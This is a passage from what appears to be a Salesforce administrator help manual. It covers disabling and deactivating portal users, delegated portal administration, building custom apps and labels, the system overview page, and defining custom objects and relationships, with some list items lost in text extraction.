about themselves their user record is updated but their contact record is not automatically updated with those changes.
See Also:
About Customer Portal User Management
Disabling and Deactivating Portal Users
There are two ways in which you can remove a customer's access to your Salesforce Customer Portal or partner portal. As
described in detail below, disabling a portal user is permanent, while deactivating a portal user is not:
Disabling a portal user
Disabling a portal user includes the following actions:
1708
Customer Portal
For partner users, the partner user role becomes obsolete. As a result:
The users data no longer roles up to the partner account owner role
Opportunities owned by that user are removed from your organization's forecast hierarchy
Note: Before disabling a partner user, we recommend transferring opportunities owned by that user to
an active user.
We recommend deactivating a portal user if you may reactivate the portal user in the future.
If a user on an account team has Read/Write access (Account Access, Contact Access, Opportunity Access, and Case
Access) and is deactivated, the access will default to Read Only if the user is reactivated.
Disabling a Portal User
To disable a portal user:
1. On the contact detail page, click Work with Portal and choose either Disable Customer Portal User or Disable Partner
User. On the account detail page of a person account, click Work with Portal and choose Disable Customer Portal
Account.
Person accounts are not available for the partner portal.
2. Click OK.
Deactivating a Portal User
To deactivate a portal user:
1709
Customer Portal
1. For the Customer Portal, click Work with Portal and choose View Customer Portal User on the contact or person account
detail page. For the partner portal, click Work with Portal and choose View Partner User on the contact detail page.
Person accounts are not available for the partner portal.
2. Click Edit, and deselect the Active checkbox.
To reactivate a portal user at any time, select the Active checkbox.
3. Click Save.
Tips on Disabling and Deactivating Portal Users
Consider the following when disabling or deactivating portal users (disabling is permanent; deactivating is not):
You can't delete an active portal user; you can only disable or deactivate his or her access to the portal.
The following table describes whether you can delete contacts that are associated with portal users:
State of Portal User Associated to Contact
To delete a portal-enabled contact, first disable the portal user, then delete the contact.
Cases associated with a portal user are not updated in any way when you disable or deactivate the portal user. For example,
if a portal user owns a case, and the portal user is disabled, he or she remains the owner of the case until the case is updated
with a new owner.
Before you disable a partner user, we recommend that you transfer any opportunities owned by the user to another user
who will remain active. This is because when you disable a partner user, any opportunities he or she owns are removed
from your organization's forecast hierarchy (the partner user's role becomes obsolete).
After you disable a portal user, it may take Salesforce up to ten seconds to disable the user. During that time, a portal user
may still perform actions on a portal.
You can remove the Disable Customer Portal and Disable Partner User buttons from contact page layouts at any time.
Doing so would prevent users with the Edit Self-Service Users or Manage Partners permissions from disabling portal
users.
A disabled or deactivated portal user does not count against your organization's available user licenses. However, disabling
or deactivating a portal user does not reduce the number of licenses for which your organization is billed; you must change
your organization's license count to change your billing. See Adding or Subtracting User Licenses on page 3507.
To disable all portal users associated with an account and permanently delete all of the account's portal roles and groups:
Click Work with Portal and choose Disable Partner Account on a partner portal account.
Click Work with Portal and choose Disable Customer Portal Account on a Customer Portal account or Customer
Portal person account.
You can remove the Disable Customer Portal Account and Disable Partner Account buttons from account page layouts
at any time. Doing so would prevent users with the Edit Self-Service Users or Manage Partners permissions from
disabling portal accounts.
When you disable a portal user or portal account, the change is tracked in the setup audit trail.
Portal roles are not removed from disabled portal users associated with person accounts. However, you can remove the
portal roles manually:
1710
Customer Portal
1.
2.
3.
4.
5.
Click Your Name > Setup > Manage Users > Users.
Select the name of a disabled portal user.
Click Edit.
Select None from the Role drop-down list.
Click Save.
See Also:
Creating Partner Users
Enabling the Customer Portal for Contacts and Person Accounts
If a Salesforce Customer Portal user loses his or her password, the user can click the Forgot your password? link on the
Customer Portal login page to have a new password emailed to him or her.
To reset a Customer Portal user's password:
1. Click Your Name > Setup > Manage Users > Users.
2. Select the checkbox next to the users name. Optionally, to change the passwords for all currently displayed users, check
the box in the column header to select all rows.
3. Click Reset Password to have a new password emailed to the user.
Tip: You can include the Customer Portal Welcome component on home page layouts assigned to Customer Portal
users. Each Customer Portal user who logs in to your portal receives a welcome message with his or her name. The
users can also change their own portal username, password, locale, language, time zone, and contact information.
When portal users change information about themselves their user records are updated but their contact records arent
automatically updated with those changes. For more information about defining home page components and assigning
home page layouts, see Customizing Home Tab Page Layouts on page 1299.
See Also:
About Customer Portal User Management
1711
Customer Portal
Manage Users
You can delegate some administrative rights to Customer Portal users with the Customer Portal Manager Custom user license.
Delegated Customer Portal user administrators can do the following for users associated with their own account:
Delegated Customer Portal user administrators can also view their account's detail page, along with contacts and cases related
to their account via the Accounts tab. In addition, delegated Customer Portal user administrators receive the Portal Super
User permission. This permission lets delegated Customer Portal user administrators do the following for their own account:
You can add just the Portal Super User permission to the profiles of portal users (except for high-volume portal users) so
that they have access to their account and can view and edit all of its cases and contacts without having the ability to manage
other portal users. However, portal super users can't view the Contacts tab on the Customer Portal without the Delegated
Portal User Administrator permission. To edit contacts, portal super users must select a contact from a case record. For more
information, see:
1712
Customer Portal
Click Save.
In the Delegated Portal Profiles related list, click Edit.
Select the Customer Portal profiles you want users with this profile to be able to administer.
Click Save.
To change which profiles a delegated Customer Portal user administrator can edit:
1.
2.
3.
4.
Click Your Name > Setup > Manage Users > Profiles and click a custom Customer Portal profile.
Click Edit in the Delegated Portal User Profiles related list.
Select the Customer Portal user profiles you want this profile to be able to administer.
Click Save.
Delegated Customer Portal administrators can perform the following tasks from a contact's detail page:
Click Enable Customer Portal User to allow a contact to use a Customer Portal.
Click View Customer Portal User to view the Customer Portal user's details. From a Customer Portal user's detail page,
delegated Customer Portal users can:
Click Edit to edit a Customer Portal user's details.
Click Reset Password to reset the Customer Portal user's password.
Click Edit and deselect the Active checkbox to deactivate the user.
1713
Customer Portal
3. From the Administrative Reports folder, select the All Active Users report.
For more information, see Administrative Reports on page 3021.
For more information on working with profiles, see User Profiles Overview on page 521.
Add the Accounts and Contacts tabs to your Customer Portal. See Customizing Your Customer Portal Tabs on page 1681.
Set field-level security and page layouts so that delegated Customer Portal user administrators and portal super users can
only access the account, contact, and case fields you specify. See Field-Level Security Overview on page 663 and Managing
Page Layouts on page 1276.
Note: To allow portal super users to create cases for contacts other than themselves, set the field-level security on
the Contact Name field on cases to Editable.
Customer Portal users are prevented from viewing related lists to objects they don't have access to. For example, if a
Customer Portal user views a contact, and the contact page layout includes the Opportunities related list, the portal user
can't view the Opportunities related list because portal users don't have access to opportunities.
Delegated Customer Portal user administrators can update portal users on any account to which they are transferred.
You can set account sharing rules to extend delegated Customer Portal user administrators' access beyond their own
accounts. See Sharing Rules Overview on page 637.
See Also:
About Customer Portal User Management
1714
The App Setup page, accessed by clicking Your Name > Setup > App Setup, contains options to customize Salesforce, and
build, deploy, and manage applications.
The sidebar includes tools for browsing and searching setup options.
Customize
Customize the standard tabs and types of records, including adding custom fields and setting page layouts. You can also
customize search, tagging, and user interface options for your organization.
Create
Use point-and-click tools to customize Salesforce and build your own applications to meet the needs of your business.
These tools do not require any programming knowledge.
Develop
Use Salesforce development tools to customize Salesforce and build your own applications. These tools may require some
programming knowledge.
Deploy
Monitor the deployments of setup configuration from Force.com IDE, Force.com Migration Tool, and other clients.
Note: Force.com IDE is a resource provided by salesforce.com to support its users and partners, but is not
considered part of our Services for purposes of the salesforce.com Master Subscription Agreement.
Schema Builder
Schema builder provides a drag-and-drop interface that lets you add new custom objects, fields, and relationships to
your schema.
Installed Packages
View and manage the packages that have been installed from AppExchange.
AppExchange Marketplace on page 2229
Browse and search AppExchange.
Critical Updates
Control when critical updates are enabled in your organization.
1715
Create
CREATE
App Builder Tools Overview
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions
The platform includes innovative point-and-click app builder tools that give you the power to customize Salesforce to meet
the needs of your business. You can also build your own applications to share and store information that is important to you.
These tools do not require any programming knowledge. Click Your Name > Setup > Create to access the following options.
Apps
Build your own applications by defining groups of standard and custom tabs.
Custom Labels
Create custom text values that can be used in multilingual apps.
Interaction Log Layouts
Create notes that appear on records when using the Service Cloud console. Available in Enterprise, Unlimited, and
Developer Editions only.
Objects
Create custom data and custom related lists to store and display information unique to your organization.
Packages
Create collections of items such as apps, objects, workflow rules, or email templates, and upload them on Force.com
AppExchange to be shared with others.
Report Types
Available in Professional, Enterprise, Unlimited, and Developer Editions only. Create custom report types so that your
users have more power and flexibility while building custom reports.
Tabs
Create tabs to display and edit the data in your custom objects or embed web content and applications within the user
interface.
Workflow and Approvals
Available in Enterprise, Unlimited, and Developer Editions only. Create automated business processes that send email
alerts, assign tasks, update fields, and set outbound messages to external services.
1716
Create
The platform also includes app builder tools that require some programming knowledge. Tools that require advanced
programming knowledge are located at Your Name > Setup > Develop.
See Also:
App Setup Overview
Customize Application
The Force.com Home page contains options for building and managing applications.
To access the Force.com Home page, click Your Name > Setup. To return to this page from other setup pages, click Force.com
Home in the Setup menu.
In the left pane, use the Setup menu to access all setup actions. The Setup menu includes tools for browsing and searching
setup options.
The Getting Started box contains a tool for generating a basic app in a single step, and links to information about extending
and managing apps. This box doesn't appear if you've previously dismissed it.
Recent Items ListBeta
Note:
This release contains a beta version of the Recent Items list that is production-quality but has known limitations.
The Recent Items box displays the following recent metadata items youve viewed, edited, or created, and their related
objects.
Apex classes
Apex triggers
Apps
Fields
Objects
Page layouts
Permission sets
Profiles
Static resources
Tabs
Users
Validation rules
Visualforce pages
1717
Create
What is an App?
Visualforce components
Note: The Recent Items list on the Force.com Home page is independent of the Recent Items section in the
sidebar column of most Salesforce pages. The Recent Items list on the Force.com Home page displays items used
by administrators, while the Recent Items section in the sidebar column displays records that end users have worked
with.
The System Overview messages box displays messages to remind you when your organization reaches its usage limits. The
System Overview messages box is not enabled by default. See Configuring Force.com System Overview Messages to enable
system overview messages on the Force.com Home page.
The Quick Links box provides links for managing tools, users, apps, security and data.
The Community box showcases available resources. This box doesn't appear if you've previously dismissed it. It reappears
with each new release; click Dismiss to hide it again.
The right pane includes external links that are useful for developers and administrators.
What is an App?
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
To manage apps:
Customize Application
An app is a group of tabs that works as a unit to provide application functionality. Salesforce provides standard apps such
as Sales and Call Center. You can customize the standard apps to match the way you work.
You can also build your own on-demand apps by grouping standard and custom tabs into new custom apps. A custom app
consists of a label, a description, and an ordered list of tabs. You can also set custom logos for your custom apps. With custom
apps, you can extend the kinds of information that you manage and share online beyond CRM. Custom apps are part of the
Force.com platform that allows you to create and share custom applications with other Salesforce users. For information about
sharing apps that you have built, see Overview of Packages on page 1937.
Your available custom apps are listed in the Force.com app menu, which is a drop-down list that displays at the top of every
Salesforce page. When you choose an app from the Force.com app menu, your screen changes to reflect the contents of that
app. For example, if you switch from an app that contains the Opportunities tab to another app that does not, the Opportunities
tab disappears, and the Opportunity option no longer appears in the Create New drop-down list in the sidebar. In addition,
the app might display a different initial or default landing tab when selected.
Apps are associated with profiles. Profiles control which tabs you can see or hide, as well as which apps are available to you.
You can personalize the tabs in your apps as much as your profile allows. For more information, refer to Customizing Your
Display on page 42.
Note:
Service Cloud console apps are custom apps. See Service Cloud Console Overview on page 3312.
1718
Create
For Salesforce Platform and Salesforce Platform One license users, the Platform standard app is the only app listed
in the Force.com app menu. For details about specifying a unique label for the Platform standard app, see Creating
Custom Apps on page 1719.
See Also:
Creating Custom Apps
Managing Apps
Overview of User Permissions and Access
Overview of Packages
Managing Packages
To manage apps:
Customize Application
Create custom apps to build applications for your users. See Salesforce Editions and Limits on page 2076 for the total number
of custom apps you can define.
Note: If you're new to Force.com apps, we recommend using Force.com quick start to create an app. With this tool,
you can generate a basic working app in just one step.
To create custom apps:
1. Click Your Name > Setup > Create > Apps.
2. Click New.
3. If the Service Cloud console is available, select whether you want to define a custom app or a Service Cloud console.
To continue defining a Service Cloud console app, see Creating a Service Cloud Console App on page 1523.
4. Specify a label for the app. The label can have a maximum of 40 characters, including spaces. This label is the app's name
in the Force.com app menu.
5. Optionally, enter a description of the app.
6. Click Next.
7. Optionally, specify a custom logo for the app. Click Insert an image to choose an image file from the document library.
Consider these requirements when choosing a custom app logo from the document library:
The image must be in GIF or JPEG format and less than 20 KB in size.
If the image is larger than 300 pixels wide by 55 pixels high, then it will be scaled to fit.
For the best on-screen display, we recommend you use an image with a transparent background.
1719
Create
The Externally Available checkbox must be selected on the document's properties so that users can view the
image.
8. Click Next.
9. Click the left and right arrow buttons to add or remove tabs from the app.
10. Click the up and down arrow buttons to define the order in which the tabs will display in the app.
11. Optionally, set the default landing tab for your new app using the Default Landing Tab drop-down menu below the list
of selected tabs. This determines the first tab a user sees when logging into this app.
12. For Professional Edition users, click Save to finish the wizard. For Enterprise or Developer Edition users, click Next.
13. Check the Visible box to choose the user profiles for which the app will be available.
14. Check the Default box to set the app as that profiles default app. This means that new users who have the profile will
see this app when they log in for the first time. Profiles with limits are excluded from this list.
15. Click Save to finish the wizard.
See Also:
Managing Apps
What is an App?
Removing Apps
App quick start is a fast way to create a basic working app in just one step.
1. Click Your Name > Setup > Create > Apps, and click Quick Start. Alternatively, from the Force.com Home page, click
Add App under Getting Started, or App Quick Start under Quick Links.
2. Enter the information needed for your app.
Field Name
Description
App Label
The app's name that appears in the Force.com app menu. The label can have a maximum of
40 characters, including spaces.
Plural Label
The plural name of the object. This name appears on the tab.
Singular Label
Gender
If it's appropriate for your organizations default language, specify the gender of the label. This
field appears if the organization-wide default language expects gender.
Starts with a vowel sound If it's appropriate for your organizations default language, enable this option if your label
should be preceded by an instead of a.
1720
Create
3. Click Create.
4. On the Youre All Set! page, click here to add new fields to your app.
5. To see your app as it will appear to users, click Go To My App.
The app quick start:
Generates an app label and API name (a unique name that's used to refer to the object when using the Force.com API).
Generates an object label and API name.
Generates a tab label, and associates the tab with the object.
Enables feed tracking for the object. Feed tracking lets people follow records of that object type and see Chatter feed
updates.
Enables access to the app and tab in your user profile. Any users who have the Modify All Data permission can also
access the object.
Generates a permission set that grants access to the new custom object.
Assigns the permission set to the user who creates the app.
Once you've created an app, you can extend it with more components, specify access settings, and add users to your organization.
See Also:
App Quick Start: Next Steps for Building and Managing Apps
Managing Custom Objects
Managing Custom Tabs
Managing Apps
Customizing Chatter Feed Tracking
Removing Apps
App Quick Start: Next Steps for Building and Managing Apps
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
Customize Application
Manage Users
Once you've created a basic working app with app quick start, you'll want to build out the app with more objects and fields,
define its access settings, and add users to share your app with them.
1. Build out your app with the basic components used in apps.
Create objects, which are custom database tables that allow you to store information specific to your app.
Create tabs that are associated with the objects you've created.
For each object, create fields to store the information that's important to your organization.
Create validation rules, which verify that the data users enter meets the standards you specify before they save a record.
1721
Create
Managing Apps
For quick shortcuts to these tools, use the Force.com quick access menu, which is available from object list view pages and
record detail pages.
2. Create user profiles or permission sets. These are collections of settings and permissions that determine what users can do
in an app.
3. Specify the types of access that users will have to the app.
a. Make your app visible using profiles or permission sets.
b. Make your object tabs visible.
c. Set the object permissions for the objects you created.
4. Add users to your organization. When adding users, be sure to assign them the appropriate profiles or permission sets you
created so they can access your app.
These are the basic steps for building and managing an app. As you explore the Force.com platform, you'll find even more
ways to build, manage, and deploy apps.
See Also:
Creating Apps with App Quick Start
Managing Apps
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
To manage apps:
Customize Application
You can customize the standard and custom apps in your organization. Click Your Name > Setup > Create > Apps to display
a list of your organizations apps.
To view details for an app, click the app name. This displays the properties of the app, such as which tabs are part of the
app, including any tabs that are not yet deployed. Click on custom tabs in the Included Tabs list to view details.
To change the properties of an app, click Edit.
To remove a custom app, click Del. Standard apps cannot be deleted.
To create an app, do one of the following:
If you're new to Force.com apps, click Quick Start. With this option, you generate a basic working app in one simple
step.
If you've already created the objects, tabs, and fields you need for your app, click New. With this option, you create an
app label and logo, add tabs, and assign the app to profiles.
To change the order of apps in the Force.com app menu, click Reorder.
1722
Create
Managing Apps
For Salesforce Platform and Salesforce Platform One license users, the Platform standard app is the only app listed in the
Force.com app menu.
See Also:
What is an App?
Overview of Packages
Customize Application
The Force.com quick access menu offers handy shortcuts to customization features.
When you're working on apps or objects, use this menu to jump to relevant app customization features. It's available from
object list view pages and record detail pages.
Note: The Force.com quick access menu isn't visible for list views on accounts, contacts and custom objects if
drag-and-drop scheduling on list views is enabled.
See Also:
What is an App?
What is a Custom Object?
What is a Custom Tab?
1723
Create
Managing Apps
To manage apps:
Customize Application
You can change the properties of the standard and custom apps in your organization. For example, you can specify a custom
logo for a custom app, or you can specify which tabs are available in a standard or custom app. Note that you cannot change
the label, description, or logo for a standard app.
To edit the properties of an app:
1. Click Your Name > Setup > Create > Apps.
2. Click Edit next to the app you want to modify.
3. Specify a label for the app. The label can have a maximum of 40 characters, including spaces. This label is the app's name
in the Force.com app menu.
4. Optionally, enter a description of the app.
5. Optionally, specify a custom logo for the app. Click Insert an image to choose an image file from the document library.
Consider these requirements when choosing a custom app logo from the document library:
The image must be in GIF or JPEG format and less than 20 KB in size.
If the image is larger than 300 pixels wide by 55 pixels high, then it will be scaled to fit.
For the best on-screen display, we recommend you use an image with a transparent background.
The Externally Available checkbox must be selected on the document's properties so that users can view the
image.
6. Click the left and right arrow buttons to add or remove tabs from the app.
7. Click the up and down arrow buttons to define the order in which the tabs will display in the app.
8. Optionally, set the default landing tab for your new app using the Default Landing Tab drop-down menu below the
list of selected tabs. This determines the first tab a user sees when logging into this app.
9. Optionally, select the Overwrite users' personal custom app customizations checkbox to override any app
personalizations users may have made.
10. Check the Visible box to choose the user profiles for which the app will be available.
11. Check the Default box to set the app as that profiles default app. This means that new users who have the profile will
see this app when they log in for the first time. Profiles with limits are excluded from this list.
12. Click Save.
See Also:
What is an App?
Managing Apps
1724
Create
Managing Apps
To manage apps:
Customize Application
You can change the order in which apps appear in the Force.com app menu. The Force.com app menu is a drop-down list
that displays at the top of every application page.
1.
2.
3.
4.
See Also:
What is an App?
Creating Custom Apps
Managing Apps
Removing Apps
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
Customize Application
You can remove custom apps, but not standard apps. Removing an app removes it from the Force.com apps menu, but doesn't
remove any associated objects. If you've created objects for an app, you may want to remove them as well.
1. Click Your Name > Setup > Create > Apps.
2. Click Del next to the app.
3. Optionally, delete any associated objects.
1725
Custom Labels
CUSTOM LABELS
Custom Labels Overview
Available in: Developer, Professional, Enterprise, and Unlimited Editions
Customize Application
Manage Translation
OR
View Setup and Configuration and be designated as a
translator
Custom labels are custom text values that can be accessed from Apex classes or Visualforce pages. The values can be translated
into any language Salesforce supports. Custom labels enable developers to create multilingual applications by automatically
presenting information (for example, help text or error messages) in a user's native language.
You can create up to 5,000 custom labels for your organization, and they can be up to 1,000 characters in length.
To access custom labels, click Your Name > Setup > Create > Custom Labels. From this page, you can:
1726
Create
Tip: If an Apex class or Visualforce page references a custom label, and that label has translations, you must
explicitly package the individual languages desired in order for those translations to be included in the package.
See Also:
Creating and Editing Custom Labels
Viewing Custom Labels
Creating and Editing Custom Label Translations
Setting Up the Translation Workbench
Salesforce Globalization Overview
Overriding Labels
Customize Application
Manage Translation
OR
View Setup and Configuration and be designated as a
translator
3. If you are creating a new custom label, in the Name text box, enter the name the label uses. This value is used in Apex and
Visualforce pages to reference the custom label. Names must contain only alphanumeric characters, start with a letter,
contain no spaces or double underscores, and be unique from all other labels in your organization.
4. Check the Protected Component check box to mark the custom label as protected. For more information, see the
Force.com Quick Reference for Developing Packages.
5. In the Categories text box, enter text to categorize the label. This field can be used in filter criteria when creating custom
label list views. Separate each category with a comma. The total number of characters allowed in the Categories text box
is 255.
1727
Create
6. In the Value text box, enter text up to 1,000 characters. This value can be translated into any language Salesforce supports.
Note: It may take a few minutes before all users see any changes you make to this field.
7. Click Save.
See Also:
Custom Labels Overview
Viewing Custom Labels
Creating and Editing Custom Label Translations
Overriding Labels
Customize Application
Manage Translation
OR
View Setup and Configuration and be designated as a
translator
1728
Create
See Also:
Custom Labels Overview
Creating and Editing Custom Labels
Creating and Editing Custom Label Translations
Setting Up the Translation Workbench
Customize Application
Manage Translation
OR
View Setup and Configuration and be designated as a
translator
See Also:
Custom Labels Overview
Creating and Editing Custom Labels
Viewing Custom Labels
Setting Up the Translation Workbench
Overriding Labels
1729
Create
Overriding Labels
Overriding Labels
Overriding Labels in Salesforce
You can change the display labels of tabs, objects, fields, and other related user interface labels so they better reflect your
organization's business requirements. When you rename a label, such as changing the Accounts label to Companies, the
new label appears on all user pages, in Connect for Outlook, and in Connect Offline. With rare exception, all pages in the
Setup area use the default, original labels.
See Renaming Tab and Field Labels on page 1054.
Labels of custom tabs, objects, fields, and other related user interface labels.
See Entering Overrides to Translations in Managed Packages on page 492.
Custom labels. Custom labels are custom text values that can be accessed from Apex classes or Visualforce pages. See Creating
and Editing Custom Label Translations on page 1729.
See Also:
Custom Labels Overview
Creating and Editing Custom Labels
Creating and Editing Custom Label Translations
Viewing Custom Labels
Custom objects are custom database tables that allow you to store information unique to your organization. For example, your
organization may want to create a custom object called Quotes to store data for your companys sales quotes.
For the total number of custom objects you can create, see Salesforce Editions and Limits on page 2076.
After you define a custom object, you can:
Create custom fields. For the total number of custom fields you can create, see Salesforce Editions and Limits on page
2076.
Associate the custom object with other records and display the custom object data in custom related lists. For more
information, see Overview of Relationships on page 1740.
Track tasks and events for custom object records
Build page layouts
Customize the search results and the custom object fields that display in them
1730
Create
See Also:
Defining Object-Level Help
Tip sheet: Building Custom Objects, Tabs, and Related Lists
What is an App?
Customize Application
Note: The system overview page shows only the items enabled for your organization. For example, your system
overview page shows workflow rules only if workflow is enabled for your organization.
The system overview page shows usage data and limits for your organization, and displays messages when you reach 95% of
your limit (75% of portal roles). Click the numbers under each metric to get more details about your usage. If its available,
use Checkout to increase usage limits for your organization. For example, if your organization reaches the limit for custom
objects, the system overview page notifies you with a message link. Click the link to clean up any unused objects, or visit
Checkout to increase your limit for objects.
You can also add system overview messages to the Force.com Home page to remind you when your organization reaches its
usage limits. For more information, see Configuring Force.com System Overview Messages.
To access the system overview page, click Your Name > Setup > System Overview.
The system overview page displays usage for:
Schema
API usage
Business logic
User interface
Most used licenses
Portal roles
1731
Create
Note: The object limit percentages displayed for items used are truncated, not rounded. For example, if your
organization uses 95.55% of the limit for a particular item, the percentage displayed is 95%.
See Also:
Salesforce Editions and Limits
Configuring Force.com System Overview Messages
The Schema box in the system overview page shows usage information for:
Data storage.
The API Usage box in the system overview page shows usage information for API requests in the last 24 hours.
Limits are enforced against the aggregate of all API calls made by the organization in a 24 hour period; limits are not on a
per-user basis. When an organization exceeds a limit, all users in the organization may be temporarily blocked from making
additional calls. Calls will be blocked until usage for the preceding 24 hours drops below the limit.
See Also:
Force.com API Usage Limits
1732
Create
The Business Logic box in the system overview page shows usage information for:
Rules: See Total Rules Allowed in the Rules Limits on page 2088 for more information.
Apex triggers
Apex classes
Code used: Total number of characters in your Apex triggers and Apex classes (excluding comments, test methods, and
@isTest annotated classes).
The User Interface box in the system overview page shows usage information for:
The Most Used Licenses box in the system overview page counts only active licenses, and by default shows the top three used
licenses for your organization. Any license that reaches 95% usage also appears. Click Show All to view all the licenses for
your organization.
See Also:
Understanding User License Types
1733
Create
The Portal Roles box in the system overview page shows the usage data and limit for total partner portal and Customer Portal
roles. The system overview page displays a message when your organization reaches 75% of its allotted portal roles.
Customize Application
Note: The system overview page shows only the items enabled for your organization. For example, your system
overview page shows workflow rules only if workflow is enabled for your organization.
Add system overview usage messages to the Force.com Home page to remind you when your organization approaches its
limits. You can expand, collapse, and dismiss the system overview messages that appear on the Force.com Home page. By
default, the system overview home page messages are enabled.
To configure the system overview messages on the Force.com Home page:
1.
2.
3.
4.
When you enable or dismiss system overview messages on the Force.com Home page, it only impacts your individual view of
the system overview messages.
See Also:
About the System Overview Page
1734
Create
"Customize Application"
Define custom objects to track and store data unique to your organization. For the total number of custom objects you can
create, see Salesforce Editions and Limits on page 2076.
To create a custom object:
1. Click Your Name > Setup > Create > Objects.
2. Click New Custom Object, or click Edit to modify an existing custom object.
3. Enter the following:
Field
Description
Label
Plural Label
The plural name of the object. If you create a tab for this
object, this name is used for the tab.
Gender
Object Name
Description
1735
Create
Field
Description
Defines what displays when users click the Help for this
Page context sensitive help link from the custom object
record home (overview), edit, and detail pages, as well as list
views and related lists. Choose Open the standard
Salesforce Help & Training window if you want to display
the basic Salesforce help available for any custom object
record. Choose Open a window using a Visualforce
page or Open a window using a custom s-control to display
the Visualforce page or s-control you select as the
context-sensitive help link from any custom object record
page.
Note: The Help & Training link at the top of any
page is not affected by this setting. It always opens
the Salesforce Help & Training window.
For more information on creating custom help, see Custom
Help Overview on page 1606.
Custom S-Control
Record Name
The name used in page layouts, list views, related lists, and
search results.
Data Type
Display Format
Starting Number
Allow Reports
Allow Activities
1736
Create
Field
Description
see Notes on Enabling Activities for Custom Objects on
page 1738.
Enable Divisions
Deployment Status
Starts the custom tab wizard after you save the custom object.
4. Click Save.
Sharing Model
The data sharing model for all custom objects is controlled by an organization-wide default setting. For more information,
see Custom Object Security on page 1757.
1737
Create
See Also:
Workflow and Approvals Overview
Overview of Relationships
Defining Object-Level Help
If you enable activities when creating a custom object, the activity related lists are added to the default page layout
automatically. If you enable activities later, after the custom object already exists, you must add the related lists to the page
layout manually.
Disabling activities for a custom object does not delete existing activity records. However, activity related lists are removed
from custom object pages, and reports containing activities and the custom object are deleted.
If a custom object has a master-detail relationship with accounts, the custom objects activities roll up to the account and
cause the accounts Last Activity date to be updated. For custom objects related to other types of records, the activities
do not roll up.
The ability to send emails or create mail merge documents is available for activities on custom objects. The email must be
sent to a contact or lead.
When you change the ownership of a custom object record, any open activities related to that custom object are also
transferred to the new record owner.
You cannot disable activity tracking for a custom object if any workflow tasks are associated with that custom object, or if
tasks and events are child data sets of the custom object in a mobile configuration.
Custom object records can only be associated with a call log in Salesforce CRM Call Center if activities are enabled for
the object.
See Also:
Defining Custom Objects
Creating a Many-to-Many Relationship
Defining Data Sets
1738
Create
Customize Application
While developing custom objects, you may not want users to see and interact with a new object. Because users may get frustrated
with changes in layout or lose data when you delete custom fields, control visibility of the new object until you are finished.
Use the Deployment Status setting in the custom object definition to control when users can see and use a custom object
and its associated custom tab, related lists, and reports.
Choose In Development as the Deployment Status when first creating your custom object to hide it from users while
you are designing and testing it. Making the status In Development hides the custom object tab, search results, related
lists, and report data types from all users except those with the Customize Application permission.
Change the Deployment Status to Deployed when you want to allow all users to use the custom object and any
associated custom tab, related lists, and reports.
After deploying a custom object, change the Deployment Status back to In Development if you want to make more
enhancements to it.
Note: A custom report type's Deployment Status changes from Deployed to In Development if its primary
object is a custom object whose Deployment Status similarly changes. For more information, see Creating Custom
Report Types on page 3107.
See Also:
Defining Custom Objects
Customize Application
After creating your custom objects, you can customize, edit, and delete them. Click Your Name > Setup > Create > Objects
to display the Custom Objects list page, which shows the list of custom objects defined for your organization. From the Custom
Objects list page, you can:
1739
Create
Overview of Relationships
To update the custom object definition, click Edit and update the desired fields in the wizard.
Note: The Allow Reports and Allow Activities fields are not locked in Managed - Released and can be
changed by the developer in future releases of a managed package
To view deleted custom objects, click the Deleted Objects link. The total number of deleted custom objects for your
organization is listed in parentheses.
The detail page of the custom object provides information about various characteristics of the object, including standard fields,
custom fields, field history tracking, relationships, custom links, search layouts, page layouts, and object limits. You can:
See Also:
What is a Custom Object?
Overview of Relationships
Customizing Custom Objects
Import My Organization's Custom Objects
Tracking Field History
Defining Object-Level Help
Tip sheet: Building Custom Objects, Tabs, and Related Lists
Overview of Relationships
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions
Use relationships to associate an object with other objects in Salesforce. For example, a relationship can link custom object
records to standard object records in a related list, such as linking a custom object called Bugs to cases to track product defects
1740
Create
Overview of Relationships
associated with customer cases. You can define different types of relationships by creating custom relationship fields on an
object. Before you begin creating relationships, determine the type of relationship that suits your needs.
There are different types of relationships between objects in Salesforce. Their differences include how they handle data deletion,
sharing, and required fields in page layouts:
Master-detail
This type of relationship closely links objects together such that the master record controls certain behaviors of the detail
and subdetail record. For example, you can define a two-object master-detail relationship, such as AccountExpense
Report, that extends the relationship to subdetail records, such as AccountExpense ReportExpense Line Item. You
can then perform operations across the masterdetailsubdetail relationship.
Behaviors of master-detail relationships include:
When a master record is deleted, the related detail and subdetail records are also deleted.
By default, records cant be reparented in master-detail relationships. Administrators can, however, allow child records
in master-detail relationships on custom objects to be reparented to different parent records by selecting the Allow
reparenting option in the master-detail relationship definition.
The Owner field on the detail and subdetail records is not available and is automatically set to the owner of the master
record. Custom objects on the detail side of a master-detail relationship can't have sharing rules, manual sharing,
or queues, as these require the Owner field.
The security settings for the master record control the detail and subdetail records.
The master-detail relationship field (which is the field linking the objects) is required on the page layout of the detail
and subdetail records.
The master object can be a standard object, such as Account or Opportunity, or a custom object.
As a best practice, don't exceed 10,000 child records for a master-detail relationship.
Many-to-many
You can use master-detail relationships to model many-to-many relationships between any two objects. A many-to-many
relationship allows each record of one object to be linked to multiple records from another object and vice versa. For
example, you may have a custom object called Bug that relates to the standard case object such that a bug could be
related to multiple cases and a case could also be related to multiple bugs. See Creating a Many-to-Many Relationship
on page 1743.
Lookup
This type of relationship links two objects together. Lookup relationships are similar to master-detail relationships,
except they do not support sharing or roll-up summary fields. With a lookup relationship, you can:
When you create a lookup relationship, you can set these options:
Make the lookup field required for saving a record, requiring it on the corresponding page layout as well.
1741
Create
Overview of Relationships
If the lookup field is optional, you can specify one of three behaviors to occur if the lookup record is deleted:
Clear the value of this field This is the default. Clearing the field is a good choice when the field
does not have to contain a value from the associated lookup record.
Dont allow deletion of the lookup record thats part of a lookup relationship This
option restricts the lookup record from being deleted if you have any dependencies, such as a workflow rule, built
on the relationship.
Delete this record also Available only if a custom object contains the lookup relationship, not if its
contained by a standard object. However, the lookup object can be either standard or custom. Choose when the
lookup field and its associated record are tightly coupled and you want to completely delete related data. For
example, say you have an expense report record with a lookup relationship to individual expense records. When
you delete the report, you probably want to delete all of the expense records, too.
Caution: Choosing Delete this record also can result in a cascade-delete. A cascade-delete
bypasses security and sharing settings, which means users can delete records when the target lookup record
